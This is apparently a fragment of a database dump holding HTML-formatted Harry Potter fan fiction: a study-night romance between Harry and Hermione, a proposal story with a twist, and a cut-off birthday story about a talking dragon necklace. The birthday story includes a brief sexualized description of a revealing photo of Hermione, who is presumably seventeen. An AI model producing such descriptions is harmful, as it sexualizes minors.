with\nHarry finally defeating Voldemort with his own Avada Kedavra curse. Hermione\nhad thrown herself in Harry&#8217;s arms, sobbing, he had\nhad to practically carry her the whole way back, Ron trudging along side of\nthem, hardly able to speak. As the days and months passed, he&#8217;d withdrawn from\nHarry and Hermione, the shock and horror of what he had seen and been through\ndown there too much. The three of them still did things together, but weren&#8217;t\nas close as they were before. Ron had become something of a rake, not a bad\nreputation, but his friendships were certainly a lot shallower than they used\nto be. Currently, his affections were reserved for Lavender Brown, the week\nbefore it had been Hannah Abbot in Hufflepuff. Harry in a way had envied Ron, for\nhis carefree attitude and limited responsibilities. But when he had his times\nwith Hermione, like now, when it was just the two of them, he wouldn&#8217;t give\nthose up for the world. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">For when he had rescued\nHermione, something had stirred deep inside him, and it had taken him awhile to\nsee what it was. He had totally fallen for his best friend after that. During\nthose weeks when Ron was becoming distant, Harry had only had Hermione left.\nSure, he had many other friends, and he was even more famous than he was before\nif that was possible. Hermione was the only one who still treated him like he\nwas a normal person, and he appreciated that more than anything. Right now\nthough, he watched as her head bowed forward as she nodded off for a moment. He\nsmiled as he watched her bushy hair slide over her shoulder and swing down in\nfront of her. Another reason why he loved her so- she had never given in to the\npressure that was Parvati and Lavender to change her appearance to attract\nguys. To him, she was already beautiful. Her head now snapped back as she\njerked awake.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry!&#8221; she snapped when\nshe looked up and saw him grinning.</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; he asked innocently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Nothing.&#8221; She shook her head. &#8220;I&#8217;ll be right back.&#8221; She jumped\nup from her chair and ran around one of the tall bookcases. Harry got up from\nhis chair and followed her, calling it his gut instinct. He rounded the corner\njust in time to see her point her wand at herself and whisper &#8220;Ennervate!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;HERMIONE!&#8221; Harry jumped forward and grabbed her wand away as a\ngreen light shot out of it and flew into one of the bookcases. She glared at\nhim with furious eyes and tried to snatch it back, but he held it up above his\nhead where she couldn&#8217;t reach it.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Give me back my wand\nHarry!&#8221; she snapped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No!&#8221; he responded. &#8220;Don&#8217;t\nyou realize just how dangerous doing that spell is on yourself when you&#8217;re\nalready awake?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t care!&#8221; she said,\nstill jumping up and down to try and retrieve her wand. &#8220;I need to stay awake\nto study for the N.E.W.T.S.!&#8221; </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry grabbed her hand and led\nher back to their table. He sat down across from her and looked straight into\nher eyes.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, did you bother\nlooking into the Ennervate spell before you thought of casting it on yourself?&#8221;\nShe shook her head silently. &#8220;Well, Fred and George used to use it on\nthemselves to stay awake last summer when I stayed at\nthe Burrow. They&#8217;d be up night and day making up jokes for their shop. None of\nus knew what they were doing until one day we were playing Quidditch and they\nboth fell asleep in midair. They fell about 50 feet before Ron and I were able\nto get to them and grab them before they smashed onto the ground.&#8221; Hermione&#8217;s\neyes grew wide as Harry told her this. She hadn&#8217;t bothered to check it out\nbecause she was so worried about getting full marks on her tests. She looked at\nHarry as he continued. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;When Mrs. Weasley found out\nwhat they had done, I&#8217;ve never seen her get so mad. She then told us what\nhappens with the Ennervate charm if you use it like you&#8217;ve been. It doesn&#8217;t get\nrid of sleep, just puts it off longer, and then all of a sudden right in the\nmiddle of something, you&#8217;ll just fall over. It&#8217;s really dangerous Hermione.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She leaned back in her chair\nand regarded Harry for a moment. How she loved his emerald eyes, when he was\nworried about her, they shone even brighter like now. She had realized her\nfeelings for him long ago, but had never acted on them. She was too scared of\nlosing Harry as a friend, one of the only ones she had. Currently, he was\nreaching over the table to take one of her hands in his.</p>\n\n<p class="MsoNormal">&#8220;Promise me you won&#8217;t do\nthat anymore Hermione. Even though I know how much you want to study, risking\nyour life isn&#8217;t worth full marks.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I promise Harry.&#8221; She said,\nnot wanting to take her eyes from his. He gave her hand one last gentle squeeze\nand sat back, taking up his quill and once more started to scratch some notes\nonto his parchment. The pair worked steadily for another half hour, every so\noften sneaking glances at one another. Finally, Hermione shut her book and\nstood up. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m finished!&#8221; she\nannounced. Harry smiled up at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You, Hermione Granger, are\nfinished studying? I thought I&#8217;d never see the day!&#8221; he teased her. She flushed\npink at his little flirtation. Sitting back down, she opened one of her books\nagain.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, if you put it that\nway, I suppose a little extra cramming won&#8217;t hurt&#8230;&#8221; she began, but Harry&#8217;s hand\nsnapped the book shut and he pulled her to her feet.</p>\n\n<p class="MsoNormal">&#8220;Okay, let&#8217;s pretend I never\nsaid anything!&#8221; he said, not letting go of her hand as they left the library.\nHermione was extremely pleased about this, and gave Harry&#8217;s hand a small\nsqueeze of her own. She noticed his smile out of the corner of her eye. They\nhad settled down into a comfortable saunter through the corridors when a certain hated cat came striding around the corner.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Mrs. Norris!&#8221; Harry cursed\nand tightened his hold on Hermione&#8217;s hand. The two of them flew back the way\nthey had come, running down corridor after corridor, after awhile not knowing\nwhere in Hogwarts they were. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry! Wait!\nCan&#8217;t&#8230;keep&#8230;up&#8230;&#8221; Hermione gasped. At that moment, she keeled over and fell onto\nthe floor. Harry swore silently and ran back to her. He turned her over on her\nback and shook her gently, but she was completely still. From the looks of her,\nshe&#8217;d been doing the Ennervate charm on herself for a few weeks now, as she was\nin a very deep sleep. Harry carefully picked Hermione up in his arms; he was\nrather surprised to feel how light she was. He thought wryly for a minute how\nthis must look to anyone just passing by, for he was carrying Hermione in a\nhoneymoon style.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now all I need is a\nthreshold to carry her over&#8230;&#8221; Harry thought ruefully, and then almost dropped\nHermione as he tried to smack himself in the head. &#8220;I shouldn&#8217;t be thinking\nabout this now. It&#8217;s going to be hard enough getting her back to the common\nroom without anyone seeing us.&#8221; At that moment, Harry wasn&#8217;t sure either by bad\ntiming or good fortune, Ron came around the corner. He stopped short at the\nsight before him and smiled in confusion.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s going on Harry?&#8221; Harry\nsighed in relief; hopefully Ron would help him out.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ennervate charm.&#8221; Harry\nsaid simply. &#8220;She&#8217;s been casting it on herself for a couple weeks now to stay\nawake.&#8221; Ron nodded as he remembered the events of the previous summer.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Need some help to get her\nback?&#8221; Ron asked. Harry nodded gratefully, as he caught a firmer grip on\nHermione&#8217;s body. Ron went ahead of Harry, peeking around corners as they went.\nIt was nice to walk with Harry again, Ron felt bad that he hadn&#8217;t made much\ntime for them since the whole episode with Voldemort. As they quietly came\nalong the corridors, Ron sneaked peeks at his friends every now and again. He\nnoticed the careful way Harry held Hermione, and the way he looked at her face.\n&#8216;He&#8217;s in love with her&#8230;&#8217; Ron thought to himself. </p>\n\n<p class="MsoNormal">&#8220;You like her don&#8217;t you.&#8221; He\nsaid aloud. Harry looked up with a startled expression on his face. Ron almost\nexpected him to get angry and deny it for a moment, but he was wrong.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Is it that obvious?&#8221; Harry\nsaid, smiling.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;When did that happen?&#8221; Ron\nasked, peeking around another corner.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I guess it was when I had\nthat final showdown with You &#8211; Know &#8211; Who. All the time we&#8217;ve spent together\nsince then&#8230;it&#8217;s just sort of turned into these strong feelings.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What does she think about\nthat?&#8221; Ron asked, knowing full well that Harry hadn&#8217;t ever acted on those\nfeelings.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I haven&#8217;t said anything to\nher about it.&#8221; Harry said, confirming what Ron had just thought. &#8220;I don&#8217;t want\nto ruin our friendship, it&#8217;s really all I&#8217;ve got.&#8221; Ron&#8217;s mouth twitched a\nlittle at this remark, and they were silent until they finally reached the\ncommon room. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Purple Thistle.&#8221; Ron said\nto the Fat Lady, and she swung open sleepily. Harry carried Hermione over to a\nsofa next to the fire and set her down gently, making sure her head was on one\nof the cushions so that she remained comfortable.</p>\n\n<p class="MsoNormal">&#8220;Thanks Ron. I really\nappreciate you helping me.&#8221; Harry said sincerely, turning back to where Ron was\nstanding behind him. Ron nodded and turned to go to the dormitory, then spun\nback around.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hey Harry&#8230;how about this\nweekend we hang out in Hogsmeade? The three of us, like we used to?&#8221; he said\ntentatively.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;Harry looked at Ron for a moment, then grinned\nand nodded. Maybe things would be all right between them yet. Harry sat down on\nthe couch and looked at Hermione. He brought a hand up and gently caressed the\nside of her face. Her skin felt so soft under his fingers. He admired how the\nfirelight danced off the curves of her face, and in her hair. He smiled to\nhimself as he took a lock of it and twisted it between his thumb and\nforefinger. Her chest rose and fell steadily as she slept, and a peaceful look\nstole across her face as he watched. He could tell Ron thought he should tell\nHermione about his feelings. He wasn&#8217;t so sure himself. Harry was quite shy\naround girls he did like, Hermione being the exception. But he could never work\nup the nerve to even flirt with her, much less tell her how much in love with\nher he was. He sighed heavily and sat back, never taking his eyes off her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione hadn&#8217;t felt this\ncomfortable in about two weeks. Her head was perfectly positioned on a pillow,\nand she was warm from the fire that was still blazing cheerily. She cracked\nopen one eye and saw Harry sitting on the other end of the couch. She couldn&#8217;t\ntell if he was looking at her or in the fire since it was reflecting off his\nglasses. She closed her eye again and shifted a little onto her side. She could\nsense immediately that Harry&#8217;s full attention was on her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Herm?&#8221; he asked softly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">She didn&#8217;t reply, just tried\nto steady her breathing once more so he&#8217;d think she was asleep. Harry was\nsilent for a few moments more.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m really sorry I didn&#8217;t\nsee you doing this to yourself earlier.&#8221; Harry said quietly. &#8220;I guess I was\njust really distracted myself, with studying and Quidditch. I should have paid\nmore attention to you and your troubles.&#8221; He reached out his hand once more and\nstroked her long hair. She was having a hard time keeping her excitement at\nthis down, but she relished the feel of his fingers touching the side of her\nface. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I feel better talking like\nthis while you&#8217;re asleep, Herm. You&#8217;ve been my best friend for so long now, I&#8217;m\nscared to do anything to jeopardize what we have. I guess I&#8217;m sort of telling\nyou now, but you just can&#8217;t hear me.&#8221; Harry leaned closer and pressed his lips\nto her forehead. &#8220;I think I&#8217;ve completely fallen in love with you, Hermione.\nYou&#8217;re the most beautiful girl I&#8217;ve ever seen. You&#8217;re my sleeping beauty.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Small tears sprang to\nHermione&#8217;s closed eyes. She hardly dared to believe what she had just heard.\nShe felt Harry&#8217;s weight shift off the couch and heard his footsteps fade in the\ndirection of the boys&#8217; dormitory. She couldn&#8217;t let him go like this, not after\nwhat had just happened.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;&#8221; she said, loud\nenough for him to hear. He spun back around so fast she thought he would hurt\nhimself. The emerald eyes she loved so much were at the moment wide with a look\nof fear in them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221; Harry&#8217;s voice\ncame out as a squeak. &#8220;How&#8230;how long have you been awake?&#8221; She got up off the\ncouch and walked towards him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Long enough.&#8221; She said\nsimply. For a few very long moments, Harry and Hermione just stared at one\nanother. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You uh&#8230;awake&#8230;. heard&#8230;&#8221;\nHarry stammered.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Did you really mean what\nyou said Harry?&#8221; Hermione asked. &#8220;Do you really think I&#8217;m beautiful?&#8221; Harry\nmumbled something incoherently.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I said yes. Yes I do.&#8221;\nHarry replied, his face blushing harder than before. Hermione gave a sad sort\nof smile.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No one&#8217;s ever called me\nthat before. Never beautiful. Just bookish. Brainiac.&#8221; She said, turning\nslightly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">He came up beside her and\nput his hand on her shoulder. She faced him again and placed her hand on his\ncheek. She brought his face to hers and rested her forehead against his. His\narms encircled her and brought her body to rest against his. She turned her\nhead and rested it on his chest and his chin was on top of her head. She felt\nHarry kiss the top of her head softly, and she raised her face up to his.\nWithout waiting another second, he brought his lips to hers and kissed her\nhard. She instantly responded, parting her lips to allow his tongue to enter\nand intertwine with her own. Her hands snaked their way up into his wild raven\nhair, his hands traveled through her hair across her back and up to cup her\nface in his hands. When they finally parted for air, they broke apart with a\ngasp. Harry grinned down at her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, between what just\nhappened and carrying you all the way from wherever we were in the castle&#8230;&#8221; he\nsaid as Hermione slapped him in the arm playfully. &#8220;I&#8217;ve really worked up an\nappetite. Pumpkin Pie?&#8221; She agreed and they headed out the portrait again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh and Harry?&#8221; she said.\n&#8220;Next time I feel sleepy, you&#8217;ll know how to wake me up right?&#8221; Harry laughed\nand kissed her again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">(A/N: That turned out a\nlittle different, what with the Ron situation and all. I hope you&#8217;ve enjoyed\nit, and please review, not flame, even if it&#8217;s just a simple &#8216;good job&#8217; I\nappreciate it greatly. Thanks!! :p ) </p>\n\n\n\n\n\n\n'),
	(116, 1, ' <p>A/N: Short piece, just posting for the heck of it )</p>\n\n<p>The Proposal</p>\n\n<p>&quot;Hermione?&quot; Harry said.</p>\n\n<p>&quot;Yes?&quot; the girl replied, looking up to see what Harry wanted to tell her.</p>\n\n<p>&quot;Hermione...&quot; a pause ensued, Harry felt his heart beat a bit faster, blood rising to his face, he had to do this. He loved her dearly; he would do anything to make her happy, he would sacrifice himself instead of letting the love of his life feel any pain at all.</p>\n\n<p>&quot;Hermione, I just like to say... I love you.&quot; Harry looked deeply in her eyes as he said those words of love.</p>\n\n<p>&quot;I\'ve never been truly loved ever since I grew up, my...parents weren\'t with me for most of my life and the Dursleys were...&quot;</p>\n\n<p>&quot;Harry...&quot; she replied, pearls of tears assembling at the corner of her eyes.</p>\n\n<p>&quot;Well, in fact, the hug you gave me in 1st year was the first real hug I ever felt and remembered in my life. You have no idea how much it meant to me, after.&quot; Harry smiled thinking of his embarrassment at the time, however the memory meant so much to him.</p>\n\n<p>She smiled at him and nodded, signaling him to go on.</p>\n\n<p>Harry continued, &quot;Through all the years, you\'ve always been with me, helping me, teaching me, stood by me,&quot; Harry looked up, &#8220;loving me, as I&#8217;ve loved you.&#8221; Harry paused to let the words sink in.</p>\n\n<p>&#8220;Hermione, I&#8217;m madly in love with you. You&#8217;re the first thing I think about in the morning and the last thing I think about at night. You also occupy my mind between those two moments, when I&#8217;m awake and in my dreams. I can&#8217;t imagine a life without you, I would rather die than go on&#8230;&#8221;</p>\n\n<p>&#8220;Harry&#8221;</p>\n\n<p>&#8220;No, I&#8217;m not lying, I love you so much that it would drive me crazy. Hermione, I love you, I love you, and, I love you.&#8221;</p>\n\n<p>Harry smiled; he slowly bent down on his knee and took out what looked like an elegant Gryffindor Red jewelry case out of his pockets and opened it slowly to reveal a beautiful shiny ring with a brilliant diamond-like stone.</p>\n\n<p>The diamond was hollowed out but it was filled with Phoenix Tears causing it to glow magically and one could feel the power of such a rare object.</p>\n\n<p>The ring looked like plain gold, but at the bottom of the circle there was an inscription engraved in red:</p>\n\n<p>&#8220;HP+HG forever&#8221;</p>\n\n<p>Harry looked at the girl&#8217;s face to see her reaction, he was overjoyed to see her face glowing, and those pearly tears were coming down like waterfalls, overwhelming with happiness.</p>\n\n<p>&#8220;Hermione, will you marry me?&#8221; Harry asked, looking deeply into the girl&#8217;s eyes.</p>\n\n<p>A tiny pause followed. The girl suddenly calmed down and her former joy disappeared.</p>\n\n<p>&#8220;No.&#8221; was her answer.</p>\n\n<p>&#8220;NO?&#8221; Harry asked, bewildered. &#8220;I thought you loved me? As I love you&#8230;&#8221;</p>\n\n<p>&#8220;I love you&#8230;as a friend.&#8221; she replied with sadness written all over.</p>\n\n<p>Harry thought of it for a while, then understanding came over him and he stood up. He hugged her tightly, as if it were the last time that they would ever be so close.</p>\n\n<p>And Harry turned and started walking away, leaving her standing under the tree overlooking the beautiful lake at Hogwarts on this beautiful warm spring day.</p>\n\n<p>But before he got any significant amount of distance away from her, Harry turned around, making sure she had his full attention.</p>\n\n<p>&#8220;Thanks a lot for helping me Ginny! I&#8217;m ready to ask her now&#8230;&#8221; Harry smiled and left, leaving a saddened Ginny wondering if she&#8217;ll every find love like Hermione and her Harry.</p>\n\n<p>A/N: I know Hermione has no lines. But this is mainly from Harry&#8217;s POV. You can imagine what would happen when Harry proposes&#8230;</p> '),
	(118, 1, '\n\n<p>Harry grinned to himself as he stood. He was seventeen now, and it showed as he walked over to his window and let the owls into him room at the Dursleys. He had grown several inches over the years and now stood at six feet tall, towering over almost all his friends. Ron was one of the few that was still a few inches taller than him, but he was made to feel better by his other friend, Hermione, who only came to his shoulder.</p>\n<p>Three owls sheltered in his room, mainly perching on his bed. With an apologetic look towards Hedwig, Harry gave the birds some owl treats while unloading their burden. After closing his window, Harry unwrapped the first package from Sirius. It was a small book and a letter.</p>\n<b><i><p align="CENTER">Breath of Fire</p>\n</i></b><p align="CENTER">By:</p>\n<p align="CENTER">Satashi</p>\n<i><p>	Harry,</p>\n<p>		I hope you can use this book as much as we did. Happy Birthday</p>\n</i><p><i>						</i>Sirius</p>\n<p>Harry opened the book and read the first page, as the rest were apparently blank.</p>\n<i></i><p><i>Welcome, Dear Reader! </i>The book instantly greeted him in a scribbled handwriting that look like Sirius&#8217; <i>Behold, our greatest feat as to date!</i></p><i>\n</i><p><i>Save it, Padfoot,</i> another handwriting now <i>just tell them how to work this thing.</i></p><i>\n</i><p>Once again it changed. <i>Don&#8217;t be so rude, Prongs. You always were quick to get to show off your newest gadget. </i></p><i>\n</i><p>Sirius wrote again. <i>Anyway, My good friend Prongs here made this with a little help from us. It&#8217;s a book that will tell you your friend&#8217;s thoughts!</i></p><i>\n</i><p>Prongs was writing again. <i>Just write the name of the person at the upper right hand corner of the page and BAM! You have thoughts!</i></p><i>\n</i><p>A familiar handwriting here. Maybe Lupin? <i>Take note that it will only work for people close to you. I&#8217;d get into how exactly this works, but I&#8217;m sure you&#8217;re not interested</i></p><i>\n</i><p><i>Anyway!</i> Prongs again. <i>Take care of the book!</i></p><i>\n<p>					Yours in mischief </p>\n<p>Padfoot</p>\n<p>Prongs</p>\n<p>Moony</p>\n<p>Wormtail</p>\n</i><p>Harry laughed and put it to the side to look at after his other gifts. The one from Hermione was light, so he went ahead and opened it, smiling at her pretty handwriting.</p>\n<i><p>	Harry,</p>\n</i><p><i>Hey! How&#8217;s it going? I hope the people that call themselves your aunt and uncle aren&#8217;t being </i>too<i> mean to you? Well in two weeks we&#8217;ll meet at the burrow so hang in there! As for my gift, I can&#8217;t send it by owl; you&#8217;ll have to wait until you get here. But, until then, I sent you a picture that was taken on my summer vacation to a beach! I&#8217;ll tell you all about it when you get here!</i></p><i>\n<p>					Love from,</p>\n<p>						Hermione</p>\n</i><p>Harry looked in the envelope and pulled out a picture. If he was expecting to see Hermione in her usual fashion sense, he was dead wrong. The picture was a muggle photograph, but still made a very large amount of mental images run through Harry\'s mind. She was kneeling in the sand, legs more apart than necessary, and both arms were bent at their elbows and behind her head in a stretch (Making her breast seem to draw attention) If that wasn&#8217;t enough to send the boy into fits, she was wearing a two piece bathing suite. No, not a bathing suite. It was floss, yes that&#8217;s what it was. The black fabric covered her nipples and little else. Her bottom could put a thong to shame.</p>\n<p>Harry was still staring after a long minute before his mouth finally spoke his mind. &quot;Oh. My. God.&quot; </p>\n<p>Tearing his eyes from the picture, he set it aside and shook his head to clear it. Hastily, he moved to open Ron\'s present, pleased as several small packages slipped out of it. He snagged Ron\'s first, opening his gift to find a piece of clothing that seemed to fit on his arm of all places. Seeing the note, he read to see if it offered an explanation.</p>\n<i><p>Harry,</p>\n</i><p><i>Hey mate! Life treating you good? Hope so! Like my present? I saw it and thought it&#8217;d be just the thing you&#8217;d use. You don&#8217;t even know what it is do you? Thought not- but, hey, what are friends for? I&#8217;ll tell you before Hermione does.</i> (Here Ron drew a little smiley face and Harry thought for a brief moment that he was in an AOL commercial gone horribly wrong). <i>It&#8217;s a wand holder. Slide it over your arm and your wand into the sleeve that is on it. This way you can save time from reaching into your robe and fishing it from your pocket. Wicked isn&#8217;t it? Can&#8217;t wait to see you again. Happy Birthday!</i></p><i>\n<p>						Ron</p>\n</i><p>Harry grinned and tried it on, pleased that his wand fit in it perfectly. At the flick of his wrist, his wand would shoot out and into his awaiting hand. With a huge smile, Harry opened the next present, this one from Ginny.</p>\n<p>	<i>Harry,</i></p><i>\n</i><p><i>Hiya! What&#8217;cha doing? Happy Birthday! I won&#8217;t bother you long because you&#8217;re probably ogling over that picture Hermione sent you (Yes I know about it and yes, I know you probably opened HERS first, didn&#8217;t you? Thought so.) Anyway, don&#8217;t think </i>too<i> bad thoughts- she </i>is<i> your good friend, if not more. I hope you like your present, I knew it was you the moment I saw it. Do you even wear necklaces? I hope so; I&#8217;ll be disappointed if your not wearing it when you come home. Just so you know, it has special powers, but I haven&#8217;t been able to tell what they are. I hope you do.</i></p><i>\n</i><p>						With love - and a little embarrassment-,</p>\n<i><p>							Ginny</p>\n</i><p>Harry grinned at her letter and opened the wrapped present. A small necklace fell into his lap and he picked it up to examine it. The charm glinted in the moonlight, catching it perfectly. It was polished to perfection and contained one of the most beautiful design he had ever seen on it. It was a dragon perched on a dagger with it&#8217;s tail circling the blade and it&#8217;s wings stretched out as if to take flight. All in all, it was only three inches high and across, but he was sure it cost her most of her paycheck. She had gotten a job in Hogsmeade of all places. </p>\n<p>Putting it on, he turned to Mrs. Weasley&#8217;s gift and grinned. It came with a short note that read &quot;Happy Birthday, Harry&quot; and a black silk button up Chinese shirt. Where she had gotten it, he wasn&#8217;t sure, but he awed at the white, gold, green, and red design of a dragon on it. Every now and then the dragon would look around, almost as if it was alive. Also, he found a cake she had baked for him and put it under his bed, under the floorboard, for breakfast the next morning.</p>\n<p>The twins came next, and Harry found his eyes going wide and a grin plastering his face at the sight of it. An entire box of pranks and candy. A small note was attached to the top of the box.</p>\n<i><p>To:</p>\n<p>The co-owner of Weasley&#8217;s Stuff You Never Knew Existed and Things You Can&#8217;t Possible Live Without!</p>\n<p>Enjoy the tricks, just don&#8217;t let Mum and Dad find out about them or we&#8217;ll all be in trouble! See you in a few weeks! (Hide the box in your trunk!) An explanation is attached to everything, so be sure and read what it does.</p>\n<p>From:</p>\n<p>Founding Fathers of SYNKEATYCPLW</p>\n<p>P.S~ Some things are experimental, please write down if anything goes wrong.</p>\n</i><p>Harry rooted through his new treasure for a few moments before breaking into a helpless fit of laughter. The twins made so many new things it was stupid. Rocking Rollers (which turned you into a perfectly round stone when you stepped on a staircase so you would roll down it), Insta kiss (which made you kiss the first thing in your vision, Male or female) and Harry favourite, Frantic Ferret (which made the user turn into a ferret and bounce a few times) </p>\n<p>All in all it seemed to be a good birthday.</p>\n<p>&quot;<i>You really racked it in, didn&#8217;t you?&quot;</i></p><i>\n</i><p>Harry spun on his heels. Looking around his room. &quot;Who&#8217;s there!?&quot;</p>\n<p>&quot;<i>Me, of course.</i>&quot;</p>\n<p>&quot;Who!?&quot; Harry was slowly circling, wand already shot from his holster and into his hand.</p>\n<p>&quot;<i>Not a very bright one, are you?&quot;</i> Harry suddenly realized that the sound was coming from his chest. Looking down, he saw the tiny dragon looking up at him. Her wings were retracted against her back and her tail left the dagger. After a hop and a few flaps of its wings, it perched on a frozen Harry\'s shoulder. </p>\n<p>&quot;<i>Nice to meet you.&quot;</i> The silver dragon told him, a small bit of smoke coming from its nostrils. &quot;<i>My name is Celestial</i>.&quot; The voice was somehow feminine. &quot;<i>What&#8217;s yours</i>?&quot;</p>\n<p>&quot;H-Harry. Harry Potter.&quot;</p>\n<p>&quot;<i>Well then, H-Harry</i>,&quot; She joked up at him. &quot;<i>Nice to make your acquaintance</i>.&quot;</p>\n<p>Harry took a breath to calm down from the sudden shock of his necklace coming to life. &quot;This must be the necklace&#8217;s magical powers.&quot; He mused to himself, looking at the dragon. </p>\n<p>&quot;<i>Actually, I have many powers</i>.&quot; Celestial explained up to him. &quot;<i>Would you like to hear a story, dear</i>?&quot;</p>\n<p>Harry sat on his bed. &quot;Sure.&quot; It would be nice to get to know his new friend at least.</p>\n<p>&quot;<i>Well, you see, I was once a really big dragon, Over twenty feet tall</i>!&quot;</p>\n<p>&quot;What happened?&quot;</p>\n<p>The dragon sent a small-annoyed flame out of her right nostril. &quot;<i>Don&#8217;t interrupt, my boy,&quot;</i> She scolded him much like Hermione would. &quot;<i>As I was saying, I was once known by everyone. That is until a powerful wizard came after me. His name was Voldemort</i>.&quot; Harry opened his mouth to comment, but shut it almost as soon as it was opened. The dragon gave a nod of appreciation and continued her tale.</p>\n<p>&quot;<i>I protected a village of wizards</i>.&quot; She added. &quot;<i>I have been doing so for as long as I could remember. It could have been almost five hounded years I suppose</i>.&quot; Harry\'s eyes told her that he was clearly impressed. &quot;<i>When I battled Voldemort, I managed to take a nice little chunk of his invading army, but I was weakened by steady attacks for a week. The last thing I can recall is being hit by a silver light and when I could think again, I was imprisoned in a necklace format</i>.&quot;</p>\n<p>&quot;That must have been hard&#8230;&quot; Harry spoke softly. </p>\n<p>&quot;<i>It was, but I became used to it</i>.&quot; Celestial agreed. &quot;<i>But we dragons take what is thrown at us with great stride. Soon I was able to work most of my magic again</i>.&quot;</p>\n<p>&quot;What can you do?&quot;</p>\n<p>&quot;<i>Well, for one, I absorb magic from anything I touch</i>.&quot; Harry visibly flinched at this. &quot;<i>Oh calm down dear, I only took enough from you to be able to talk again</i>.&quot;</p>\n<p>&quot;Sorry for being rude,&quot; Harry began, a little weary. &quot;But I don&#8217;t like the idea of something sucking my magical powers&#8230;&quot;</p>\n<p>&quot;<i>I store power, sweetie, not sap</i>.&quot; She seemed to be smiling. &quot;<i>In fact, I have quite a bit from a girl named Ginny, who gave me to you. Would you like to feel</i>?&quot; </p>\n<p>Before Harry could respond, his body suddenly started to tingle all over and the scent of strawberries filled his nose. His vision went a little blurry and a second later it was as if she could see Ginny&#8217;s hands putting the necklace in a little package. &quot;I hope Harry likes this.&quot; Ginny spoke, sounding far away. </p>\n<p>The feeling was cut almost as fast as it was given. &quot;<i>Well</i>?&quot; Celestial asked, with a smug sounding voice.</p>\n<p>&quot;Wow&#8230;&quot; Harry was breathing harder than normal.</p>\n<p>&quot;<i>I thrive off magical powers I take and store</i>.&quot; Celestial went on. &quot;<i>Don&#8217;t worry, Harry, I have taken enough from you to be able to move and speak, but do you feel any drain?</i>&quot; He was forced to admit he didn&#8217;t. <i>&quot;I can give you back power at any time, but since you would have already recovered it, it would be like an extra boost</i>.&quot;</p>\n<p>&quot;I like this.&quot;</p>\n<p>&quot;<i>I&#8217;m sure you would, dear</i>.&quot; Celestial agreed. &quot;<i>More shall be explained later, for now I need some 